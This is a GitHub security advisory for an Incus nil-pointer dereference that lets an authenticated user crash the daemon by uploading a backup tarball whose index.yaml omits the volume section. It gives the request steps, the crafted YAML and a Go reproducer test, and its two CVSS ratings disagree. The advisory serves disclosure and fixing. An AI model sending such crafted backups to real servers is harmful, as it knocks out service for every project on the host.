Skip to content

Incus has a Nil-Pointer Dereference Panic via Instance Backup Import (volume omitted)

Moderate severity GitHub Reviewed Published May 28, 2026 in lxc/incus • Updated Jun 10, 2026

Package

gomod github.com/lxc/incus/v7 (Go)

Affected versions

< 7.1.0

Patched versions

7.1.0

Description

Summary

(*backend).CreateInstanceFromBackup in internal/server/storage/backend.go contains a nil-pointer dereference that an authenticated user with permission to create instances in any project can trigger remotely by uploading a crafted backup tarball. The Incus daemon panics and the process crashes, causing denial of service to every project on that cluster member.

This is a sibling of GHSA-fwj8-62r8-8p8m, GHSA-r7w7-mmxr-47r9, and GHSA-x5r6-jr56-89pv (all assigned 2026-05-04). Those patches added guards on adjacent fields of the same backup/config.Config struct; the Volume field on the instance-import path was missed.

Vulnerable code

internal/server/storage/backend.go (current main, commit 1513600):

// Lines 763-767 — properly guarded:
var volumeConfig map[string]string
if srcBackup.Config != nil && srcBackup.Config.Volume != nil {
    volumeConfig = srcBackup.Config.Volume.Config
}

// ... a few lines later ...

// Line 795 — unguarded, dereferences Config.Volume directly:
if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {

The caller createFromBackup in cmd/incusd/instances_post.go only verifies that Config and Config.Container are non-nil:

// instances_post.go:854
if bInfo.Config == nil || bInfo.Config.Container == nil {
    return response.BadRequest(errors.New("Backup file is missing required information"))
}

Volume is not checked. The Volume field on internal/server/backup/config.Config has type *api.StorageVolume with yaml:"volume,omitempty", so omitting volume: from a crafted backup/index.yaml decodes to nil. The subsequent unguarded deref on line 795 panics.

The panic happens on the HTTP request goroutine; no recover() is installed by CreateInstanceFromBackup or its callers, so the Go runtime kills the entire incusd process.

Reach

  1. The attacker is any client authenticated to the Incus REST API (TLS client certificate, OIDC, or unix socket) with permission to create instances in at least one project. This is the most common low-trust authenticated user.
  2. The attacker sends POST /1.0/instances?project=<p> with Content-Type: application/octet-stream.
  3. The body is an uncompressed tar (the same code path also accepts squashfs / gz / zstd / xz) containing one file, backup/index.yaml, whose config: block lists container: and pool: but omits volume:.
  4. cmd/incusd/instances_post.go instancesPost -> createFromBackup -> the line 854 guard passes (Container is non-nil) -> pool.CreateInstanceFromBackup(*bInfo, backupFile, nil) -> internal/server/storage/backend.go:795 panics on srcBackup.Config.Volume.Config[...].
  5. incusd process dies. All running operations on that cluster member are killed. Repeated requests = persistent denial of service.

Minimal crafted backup/index.yaml:

name: poc
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
config:
  container:
    name: poc
    architecture: x86_64
    type: container
  pool:
    name: default
    driver: dir
  # volume intentionally absent

Proof of concept

A self-contained Go unit test imports the real internal/server/backup/config package, decodes the crafted YAML into the actual *backupConfig.Config struct used by the daemon, and executes the literal expression from backend.go:795. The test is intentionally inert (panics are recovered and reported as the expected outcome):

// internal/poc_repro/poc_nil_deref_volume_test.go
func TestPoCNilDerefVolumeImport(t *testing.T) {
    var bi pocInfo // mirrors internal/server/backup.Info, only Config is needed
    loader, _ := yaml.NewLoader(strings.NewReader(evilIndex))
    _ = loader.Load(&bi)

    // bi.Config != nil, bi.Config.Container != nil (passes createFromBackup guard)
    // bi.Config.Volume == nil (passes the line 765 guard's else branch)

    defer func() { _ = recover() }()

    // Literal copy of backend.go:795.
    if bi.Config.Volume.Config["block.type"] == "qcow2" {
        // unreachable
    }
}

Result against lxc/incus@1513600 on Go 1.26.1:

=== RUN   TestPoCNilDerefVolumeImport
    poc_nil_deref_volume_test.go:97: yaml decoded: Container != nil (passes createFromBackup guard), Volume == nil
    poc_nil_deref_volume_test.go:99: backend.go line 795 unguarded deref about to execute...
    poc_nil_deref_volume_test.go:123: CONFIRMED: nil-pointer panic at the exact line as backend.go:795 => runtime error: invalid memory address or nil pointer dereference
--- PASS: TestPoCNilDerefVolumeImport (0.00s)

A tarball builder + uploader (main.go) is included in the report's PoC bundle. The tarball is 2560 bytes and contains a single 547-byte backup/index.yaml.

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until the process is restarted by an operator or supervisor.
  • Privileges required: authenticated user with can_create permission on any project. The path is not behind the admin auth tier.
  • Network attack surface: the Incus REST API on :8443 (or unix socket).
  • CWE-476 — nil pointer dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard already present on line 765 a few lines higher into the path that hits line 795. For example:

if srcBackup.Config == nil || srcBackup.Config.Volume == nil {
    return nil, nil, errors.New("Backup config missing required volume metadata")
}

if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {

Alternatively, extend the existing createFromBackup precondition in cmd/incusd/instances_post.go:854 to also reject backups missing bInfo.Config.Volume. The latter is the smaller surface change and matches the pattern of CreateBucketFromBackup (backend.go:7848):

if srcBackup.Config == nil || srcBackup.Config.Bucket == nil {
    return errors.New("Valid bucket config not found in index")
}

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus. Reporter: tonghuaroot. The reproducer test is non-destructive (no network, no filesystem mutation beyond the temp directory used by Go's test runner) and recovers the panic.

References

@stgraber stgraber published to lxc/incus May 28, 2026
Published to the GitHub Advisory Database Jun 10, 2026
Reviewed Jun 10, 2026
Last updated Jun 10, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

CVE ID

CVE-2026-47753

GHSA ID

GHSA-8g7m-96c8-8wwc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.